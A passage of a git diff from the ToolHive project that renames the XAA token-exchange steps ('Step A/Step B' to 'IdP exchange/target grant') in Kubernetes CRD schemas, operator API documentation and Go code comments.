IDPClientSecretEnv is the env var containing @@ -2163,7 +2163,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -2173,7 +2173,7 @@ spec: type: boolean scopes: description: Scopes are the requested scopes for - Steps A and B. + IdP exchange and target grant. items: type: string type: array @@ -2186,7 +2186,7 @@ spec: subjectTokenType: description: |- SubjectTokenType is the token-type URN of the upstream subject token - used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only urn:ietf:params:oauth:token-type:id_token is accepted; the field exists to allow future expansion to SAML upstreams without an API break. type: string @@ -2196,11 +2196,11 @@ spec: type: string targetClientId: description: TargetClientID is the OAuth client - ID at the target AS for Step B. + ID at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -2209,13 +2209,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl @@ -2455,11 +2455,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID at - the IdP for Step A. + the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: IDPClientSecretEnv is the env var containing @@ -2467,7 +2467,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -2476,8 +2476,8 @@ spec: development/testing endpoints — never in production. type: boolean scopes: - description: Scopes are the requested scopes for Steps - A and B. + description: Scopes are the requested scopes for IdP + exchange and target grant. items: type: string type: array @@ -2490,7 +2490,7 @@ spec: subjectTokenType: description: |- SubjectTokenType is the token-type URN of the upstream subject token - used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only urn:ietf:params:oauth:token-type:id_token is accepted; the field exists to allow future expansion to SAML upstreams without an API break. type: string @@ -2500,11 +2500,11 @@ spec: type: string targetClientId: description: TargetClientID is the OAuth client ID - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -2513,13 +2513,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl @@ -5583,11 +5583,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: IDPClientSecretEnv is the env var containing @@ -5595,7 +5595,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -5605,7 +5605,7 @@ spec: type: boolean scopes: description: Scopes are the requested scopes for - Steps A and B. + IdP exchange and target grant. items: type: string type: array @@ -5618,7 +5618,7 @@ spec: subjectTokenType: description: |- SubjectTokenType is the token-type URN of the upstream subject token - used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only urn:ietf:params:oauth:token-type:id_token is accepted; the field exists to allow future expansion to SAML upstreams without an API break. type: string @@ -5628,11 +5628,11 @@ spec: type: string targetClientId: description: TargetClientID is the OAuth client - ID at the target AS for Step B. + ID at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -5641,13 +5641,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl @@ -5887,11 +5887,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID at - the IdP for Step A. + the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: IDPClientSecretEnv is the env var containing @@ -5899,7 +5899,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -5908,8 +5908,8 @@ spec: development/testing endpoints — never in production. type: boolean scopes: - description: Scopes are the requested scopes for Steps - A and B. + description: Scopes are the requested scopes for IdP + exchange and target grant. items: type: string type: array @@ -5922,7 +5922,7 @@ spec: subjectTokenType: description: |- SubjectTokenType is the token-type URN of the upstream subject token - used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only urn:ietf:params:oauth:token-type:id_token is accepted; the field exists to allow future expansion to SAML upstreams without an API break. type: string @@ -5932,11 +5932,11 @@ spec: type: string targetClientId: description: TargetClientID is the OAuth client ID - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -5945,13 +5945,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl diff --git a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml index 6bff3a2d72..b73e66445b 100644 --- a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml +++ b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml @@ -1380,7 +1380,7 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID at the IdP for - Step A. + IdP exchange. type: string idpClientSecretRef: description: IDPClientSecretRef references a Kubernetes Secret @@ -1398,7 +1398,7 @@ spec: type: object idpTokenUrl: description: |- - IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange). + IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693). Must be a valid HTTPS URL. pattern: ^https://.*$ type: string @@ -1410,7 +1410,7 @@ spec: type: boolean scopes: description: Scopes are the requested scopes for the XAA exchange - (Steps A and B). + (IdP exchange and target grant). items: type: string type: array @@ -1425,7 +1425,7 @@ spec: subjectTokenType: description: |- SubjectTokenType is the token-type URN of the upstream subject token - used in Step A. Defaults to "urn:ietf:params:oauth:token-type:id_token" + used in IdP exchange. Defaults to "urn:ietf:params:oauth:token-type:id_token" when empty. enum: - urn:ietf:params:oauth:token-type:id_token @@ -1436,8 +1436,8 @@ spec: type: string targetClientId: description: |- - TargetClientID is the OAuth client ID at the target AS for Step B. - ID-JAG draft §9.1 RECOMMENDS confidential clients for Step B; most + TargetClientID is the OAuth client ID at the target AS for target grant. + ID-JAG draft §9.1 RECOMMENDS confidential clients for target grant; most conformant target authorization servers will reject an unauthenticated JWT-bearer grant per the §4.4.1 client_id continuity requirement. type: string @@ -1458,7 +1458,7 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange (RFC 8693, draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. Some authorization servers (e.g. Okta's early ID-JAG implementation) require @@ -1467,7 +1467,7 @@ spec: type: string targetTokenUrl: description: TargetTokenURL is the target AS token endpoint for - Step B (JWT Bearer grant). + target grant (RFC 7523). type: string required: - idpTokenUrl @@ -2982,7 +2982,7 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID at the IdP for - Step A. + IdP exchange. type: string idpClientSecretRef: description: IDPClientSecretRef references a Kubernetes Secret @@ -3000,7 +3000,7 @@ spec: type: object idpTokenUrl: description: |- - IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange). + IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693). Must be a valid HTTPS URL. pattern: ^https://.*$ type: string @@ -3012,7 +3012,7 @@ spec: type: boolean scopes: description: Scopes are the requested scopes for the XAA exchange - (Steps A and B). + (IdP exchange and target grant). items: type: string type: array @@ -3027,7 +3027,7 @@ spec: subjectTokenType: description: |- SubjectTokenType is the token-type URN of the upstream subject token - used in Step A. Defaults to "urn:ietf:params:oauth:token-type:id_token" + used in IdP exchange. Defaults to "urn:ietf:params:oauth:token-type:id_token" when empty. enum: - urn:ietf:params:oauth:token-type:id_token @@ -3038,8 +3038,8 @@ spec: type: string targetClientId: description: |- - TargetClientID is the OAuth client ID at the target AS for Step B. - ID-JAG draft §9.1 RECOMMENDS confidential clients for Step B; most + TargetClientID is the OAuth client ID at the target AS for target grant. + ID-JAG draft §9.1 RECOMMENDS confidential clients for target grant; most conformant target authorization servers will reject an unauthenticated JWT-bearer grant per the §4.4.1 client_id continuity requirement. type: string @@ -3060,7 +3060,7 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange (RFC 8693, draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. Some authorization servers (e.g. Okta's early ID-JAG implementation) require @@ -3069,7 +3069,7 @@ spec: type: string targetTokenUrl: description: TargetTokenURL is the target AS token endpoint for - Step B (JWT Bearer grant). + target grant (RFC 7523). type: string required: - idpTokenUrl diff --git a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml index 95b6a9d942..de1f36d54a 100644 --- a/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml +++ b/deploy/charts/operator-crds/templates/toolhive.stacklok.dev_virtualmcpservers.yaml @@ -2154,11 +2154,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: IDPClientSecretEnv is the env var containing @@ -2166,7 +2166,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -2176,7 +2176,7 @@ spec: type: boolean scopes: description: Scopes are the requested scopes for - Steps A and B. + IdP exchange and target grant. items: type: string type: array @@ -2189,7 +2189,7 @@ spec: subjectTokenType: description: |- SubjectTokenType is the token-type URN of the upstream subject token - used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only urn:ietf:params:oauth:token-type:id_token is accepted; the field exists to allow future expansion to SAML upstreams without an API break. type: string @@ -2199,11 +2199,11 @@ spec: type: string targetClientId: description: TargetClientID is the OAuth client - ID at the target AS for Step B. + ID at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -2212,13 +2212,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl @@ -2458,11 +2458,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID at - the IdP for Step A. + the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: IDPClientSecretEnv is the env var containing @@ -2470,7 +2470,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -2479,8 +2479,8 @@ spec: development/testing endpoints — never in production. type: boolean scopes: - description: Scopes are the requested scopes for Steps - A and B. + description: Scopes are the requested scopes for IdP + exchange and target grant. items: type: string type: array @@ -2493,7 +2493,7 @@ spec: subjectTokenType: description: |- SubjectTokenType is the token-type URN of the upstream subject token - used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only urn:ietf:params:oauth:token-type:id_token is accepted; the field exists to allow future expansion to SAML upstreams without an API break. type: string @@ -2503,11 +2503,11 @@ spec: type: string targetClientId: description: TargetClientID is the OAuth client ID - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -2516,13 +2516,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl @@ -5586,11 +5586,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: IDPClientSecretEnv is the env var containing @@ -5598,7 +5598,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -5608,7 +5608,7 @@ spec: type: boolean scopes: description: Scopes are the requested scopes for - Steps A and B. + IdP exchange and target grant. items: type: string type: array @@ -5621,7 +5621,7 @@ spec: subjectTokenType: description: |- SubjectTokenType is the token-type URN of the upstream subject token - used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only urn:ietf:params:oauth:token-type:id_token is accepted; the field exists to allow future expansion to SAML upstreams without an API break. type: string @@ -5631,11 +5631,11 @@ spec: type: string targetClientId: description: TargetClientID is the OAuth client - ID at the target AS for Step B. + ID at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -5644,13 +5644,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl @@ -5890,11 +5890,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID at - the IdP for Step A. + the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: IDPClientSecretEnv is the env var containing @@ -5902,7 +5902,7 @@ spec: type: string idpTokenUrl: description: IDPTokenURL is the IdP token endpoint - for Step A (RFC 8693 exchange). + for IdP exchange (RFC 8693 exchange). type: string insecureTargetTokenUrl: description: |- @@ -5911,8 +5911,8 @@ spec: development/testing endpoints — never in production. type: boolean scopes: - description: Scopes are the requested scopes for Steps - A and B. + description: Scopes are the requested scopes for IdP + exchange and target grant. items: type: string type: array @@ -5925,7 +5925,7 @@ spec: subjectTokenType: description: |- SubjectTokenType is the token-type URN of the upstream subject token - used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only urn:ietf:params:oauth:token-type:id_token is accepted; the field exists to allow future expansion to SAML upstreams without an API break. type: string @@ -5935,11 +5935,11 @@ spec: type: string targetClientId: description: TargetClientID is the OAuth client ID - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecret: description: TargetClientSecret is the client secret - at the target AS for Step B. + at the target AS for target grant. type: string targetClientSecretEnv: description: TargetClientSecretEnv is the env var @@ -5948,13 +5948,13 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. type: string targetTokenUrl: description: TargetTokenURL is the target AS token - endpoint for Step B (JWT Bearer grant). + endpoint for target grant (JWT Bearer grant). type: string required: - idpTokenUrl diff --git a/docs/operator/crd-api.md b/docs/operator/crd-api.md index e803e928a6..423a6d3b61 100644 --- a/docs/operator/crd-api.md +++ b/docs/operator/crd-api.md @@ -224,8 +224,8 @@ _Appears in:_ XAAConfig configures the XAA (Cross-Application Access) auth strategy. XAA implements draft-ietf-oauth-identity-assertion-authz-grant (ID-JAG) as a two-step flow: - - Step A (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT - - Step B (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token + - IdP exchange (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT + - Target grant (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token @@ -234,20 +234,20 @@ _Appears in:_ | Field | Description | Default | Validation | | --- | --- | --- | --- | -| `idpTokenUrl` _string_ | IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange). | | | -| `idpClientId` _string_ | IDPClientID is the OAuth client ID at the IdP for Step A. | | | -| `idpClientSecret` _string_ | IDPClientSecret is the client secret at the IdP for Step A. | | | +| `idpTokenUrl` _string_ | IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693 exchange). | | | +| `idpClientId` _string_ | IDPClientID is the OAuth client ID at the IdP for IdP exchange. | | | +| `idpClientSecret` _string_ | IDPClientSecret is the client secret at the IdP for IdP exchange. | | | | `idpClientSecretEnv` _string_ | IDPClientSecretEnv is the env var containing the IdP client secret. | | | -| `targetTokenUrl` _string_ | TargetTokenURL is the target AS token endpoint for Step B (JWT Bearer grant). | | | +| `targetTokenUrl` _string_ | TargetTokenURL is the target AS token endpoint for target grant (JWT Bearer grant). | | | | `insecureTargetTokenUrl` _boolean_ | InsecureTargetTokenURL allows plain HTTP for TargetTokenURL.
WARNING: this is insecure and must only be set for in-cluster or
development/testing endpoints — never in production. | | | -| `targetClientId` _string_ | TargetClientID is the OAuth client ID at the target AS for Step B. | | | -| `targetClientSecret` _string_ | TargetClientSecret is the client secret at the target AS for Step B. | | | +| `targetClientId` _string_ | TargetClientID is the OAuth client ID at the target AS for target grant. | | | +| `targetClientSecret` _string_ | TargetClientSecret is the client secret at the target AS for target grant. | | | | `targetClientSecretEnv` _string_ | TargetClientSecretEnv is the env var containing the target AS client secret. | | | | `targetAudience` _string_ | TargetAudience is the resource AS URL for the ID-JAG audience claim (required). | | | -| `targetResource` _string_ | TargetResource is the RFC 8707 resource indicator sent as the `resource`
parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It
identifies the target resource server — not the access-token audience, which
is governed by TargetAudience. For MCP backends, set to the MCP server URL. | | | -| `scopes` _string array_ | Scopes are the requested scopes for Steps A and B. | | | +| `targetResource` _string_ | TargetResource is the RFC 8707 resource indicator sent as the `resource`
parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It
identifies the target resource server — not the access-token audience, which
is governed by TargetAudience. For MCP backends, set to the MCP server URL. | | | +| `scopes` _string array_ | Scopes are the requested scopes for IdP exchange and target grant. | | | | `subjectProviderName` _string_ | SubjectProviderName selects which upstream provider's ID token to use.
Auto-populated when embedded AS is active. | | | -| `subjectTokenType` _string_ | SubjectTokenType is the token-type URN of the upstream subject token
used in Step A. Defaults to TokenTypeIDToken when empty. Currently only
urn:ietf:params:oauth:token-type:id_token is accepted; the field exists
to allow future expansion to SAML upstreams without an API break. | | | +| `subjectTokenType` _string_ | SubjectTokenType is the token-type URN of the upstream subject token
used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only
urn:ietf:params:oauth:token-type:id_token is accepted; the field exists
to allow future expansion to SAML upstreams without an API break. | | | @@ -2148,7 +2148,7 @@ _Appears in:_ | `awsSts` | ExternalAuthTypeAWSSts is the type for AWS STS authentication
| | `upstreamInject` | ExternalAuthTypeUpstreamInject is the type for upstream token injection
This injects an upstream IdP access token as the Authorization: Bearer header
| | `obo` | ExternalAuthTypeOBO is the type for on-behalf-of (OBO) flows.
This type requires a build with an OBO handler registered via
controllerutil.RegisterOBOHandler; an upstream-only build surfaces
status.conditions[Valid] = False with Reason: EnterpriseRequired
when an obo-typed MCPExternalAuthConfig is applied.
| -| `xaa` | ExternalAuthTypeXAA is the type for XAA (Cross-Application Access) auth.
XAA performs a two-step token exchange to obtain access tokens for target services:
- Step A (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT
- Step B (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token
| +| `xaa` | ExternalAuthTypeXAA is the type for XAA (Cross-Application Access) auth.
XAA performs a two-step token exchange to obtain access tokens for target services:
- IdP exchange (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT
- Target grant (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token
| #### api.v1beta1.HeaderForwardConfig @@ -4711,8 +4711,8 @@ _Appears in:_ XAASpec holds configuration for the XAA (Cross-Application Access) auth strategy. XAA implements draft-ietf-oauth-identity-assertion-authz-grant (ID-JAG) — a two-step token exchange to obtain access tokens for target services: - - Step A (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT - - Step B (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token + - IdP exchange (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT + - Target grant (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token @@ -4721,18 +4721,18 @@ _Appears in:_ | Field | Description | Default | Validation | | --- | --- | --- | --- | -| `idpTokenUrl` _string_ | IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange).
Must be a valid HTTPS URL. | | Pattern: `^https://.*$`
Required: \{\}
| -| `idpClientId` _string_ | IDPClientID is the OAuth client ID at the IdP for Step A. | | Optional: \{\}
| +| `idpTokenUrl` _string_ | IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693).
Must be a valid HTTPS URL. | | Pattern: `^https://.*$`
Required: \{\}
| +| `idpClientId` _string_ | IDPClientID is the OAuth client ID at the IdP for IdP exchange. | | Optional: \{\}
| | `idpClientSecretRef` _[api.v1beta1.SecretKeyRef](#apiv1beta1secretkeyref)_ | IDPClientSecretRef references a Kubernetes Secret containing the IdP client secret. | | Optional: \{\}
| -| `targetTokenUrl` _string_ | TargetTokenURL is the target AS token endpoint for Step B (JWT Bearer grant). | | Required: \{\}
| +| `targetTokenUrl` _string_ | TargetTokenURL is the target AS token endpoint for target grant (RFC 7523). | | Required: \{\}
| | `insecureTargetTokenUrl` _boolean_ | InsecureTargetTokenURL allows plain HTTP for TargetTokenURL.
WARNING: this is insecure and must only be set for in-cluster or
development/testing endpoints — never in production. | | Optional: \{\}
| -| `targetClientId` _string_ | TargetClientID is the OAuth client ID at the target AS for Step B.
ID-JAG draft §9.1 RECOMMENDS confidential clients for Step B; most
conformant target authorization servers will reject an unauthenticated
JWT-bearer grant per the §4.4.1 client_id continuity requirement. | | Optional: \{\}
| +| `targetClientId` _string_ | TargetClientID is the OAuth client ID at the target AS for target grant.
ID-JAG draft §9.1 RECOMMENDS confidential clients for target grant; most
conformant target authorization servers will reject an unauthenticated
JWT-bearer grant per the §4.4.1 client_id continuity requirement. | | Optional: \{\}
| | `targetClientSecretRef` _[api.v1beta1.SecretKeyRef](#apiv1beta1secretkeyref)_ | TargetClientSecretRef references a Kubernetes Secret for the target AS client secret. | | Optional: \{\}
| | `targetAudience` _string_ | TargetAudience is the resource AS URL for the ID-JAG audience claim. | | Required: \{\}
| -| `targetResource` _string_ | TargetResource is the RFC 8707 resource indicator sent as the `resource`
parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It
identifies the target resource server — not the access-token audience, which
is governed by TargetAudience. For MCP backends, set to the MCP server URL.
Some authorization servers (e.g. Okta's early ID-JAG implementation) require
this parameter in practice despite the draft marking it optional — set it
when your IdP needs it. | | Optional: \{\}
| -| `scopes` _string array_ | Scopes are the requested scopes for the XAA exchange (Steps A and B). | | Optional: \{\}
| +| `targetResource` _string_ | TargetResource is the RFC 8707 resource indicator sent as the `resource`
parameter in IdP exchange (RFC 8693, draft §4.3, OPTIONAL). It
identifies the target resource server — not the access-token audience, which
is governed by TargetAudience. For MCP backends, set to the MCP server URL.
Some authorization servers (e.g. Okta's early ID-JAG implementation) require
this parameter in practice despite the draft marking it optional — set it
when your IdP needs it. | | Optional: \{\}
| +| `scopes` _string array_ | Scopes are the requested scopes for the XAA exchange (IdP exchange and target grant). | | Optional: \{\}
| | `subjectProviderName` _string_ | SubjectProviderName selects which upstream provider's ID token to use.
When left empty and an embedded authorization server is configured,
the controller automatically populates this field with the first configured
upstream provider name. | | Optional: \{\}
| -| `subjectTokenType` _string_ | SubjectTokenType is the token-type URN of the upstream subject token
used in Step A. Defaults to "urn:ietf:params:oauth:token-type:id_token"
when empty. | | Enum: [urn:ietf:params:oauth:token-type:id_token]
Optional: \{\}
| +| `subjectTokenType` _string_ | SubjectTokenType is the token-type URN of the upstream subject token
used in IdP exchange. Defaults to "urn:ietf:params:oauth:token-type:id_token"
when empty. | | Enum: [urn:ietf:params:oauth:token-type:id_token]
Optional: \{\}
| diff --git a/pkg/oauthproto/jwtbearer/grant.go b/pkg/oauthproto/jwtbearer/grant.go index 47564febb9..4dd9b40f7a 100644 --- a/pkg/oauthproto/jwtbearer/grant.go +++ b/pkg/oauthproto/jwtbearer/grant.go @@ -37,7 +37,7 @@ type Config struct { // Scopes are the requested scopes for the access token. Scopes []string - // AssertionProvider returns the JWT assertion (e.g., the ID-JAG from Step A). + // AssertionProvider returns the JWT assertion (e.g., the ID-JAG from XAA's IdP exchange). // Called on each Token() invocation; must not be nil. The returned JWT must // satisfy RFC 7523 Section 3 (iss/sub/aud/exp). For an ID-JAG the aud is the // Resource AS issuer identifier (per draft-ietf-oauth-identity-assertion-authz-grant), diff --git a/pkg/oauthproto/tokenexchange/exchange.go b/pkg/oauthproto/tokenexchange/exchange.go index 0308efeec4..55d90f6a81 100644 --- a/pkg/oauthproto/tokenexchange/exchange.go +++ b/pkg/oauthproto/tokenexchange/exchange.go @@ -241,7 +241,7 @@ func (ts *tokenSource) Token() (*oauth2.Token, error) { } // Surface the RFC 8693 issued_token_type so callers can verify the server - // returned the type they asked for (e.g., XAA Step A requires an ID-JAG). + // returned the type they asked for (e.g., XAA's IdP exchange requires an ID-JAG). token := resp.Token.WithExtra(map[string]any{ "issued_token_type": resp.IssuedTokenType, }) diff --git a/pkg/vmcp/auth/strategies/xaa.go b/pkg/vmcp/auth/strategies/xaa.go index 4864aaed4a..221309dcba 100644 --- a/pkg/vmcp/auth/strategies/xaa.go +++ 